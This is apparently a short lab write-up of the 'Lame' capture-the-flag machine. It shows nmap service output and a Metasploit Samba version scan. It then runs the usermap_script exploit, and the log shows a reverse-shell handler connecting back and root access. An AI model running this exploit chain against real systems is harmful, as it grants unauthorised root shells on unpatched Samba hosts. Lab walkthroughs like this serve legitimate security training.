30 March 2020
by th3-3inst3in



Lame writeup

Easy linux machine


Let’s do a quick nmap all ports

21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:                                                                                                                                                                                        
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)                                                                                                                                             
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)                                                                                                                                        
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)                                                                                                                                       
|_smb2-time: Protocol negotiation failed (SMB2)                                 



Found nothing As you can see I also tried to put an exploit on the shared folder but no seed. Tried to enumerate the version of the SMB using metasploit

msf5 auxiliary(scanner/smb/smb_version) > set rhosts
rhosts =>
msf5 auxiliary(scanner/smb/smb_version) > run

[*]        - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*]        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Found an exploit for the Samba version found. ran that and got a root shell

msf5 exploit(multi/samba/usermap_script) > set rhosts
rhosts =>
msf5 exploit(multi/samba/usermap_script) > set lhost
lhost =>
msf5 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo jWLKJ2BffrrkAeob;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "jWLKJ2BffrrkAeob\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened ( -> at 2020-03-30 03:39:07 -0400

uid=0(root) gid=0(root)

That’s all pretty simple

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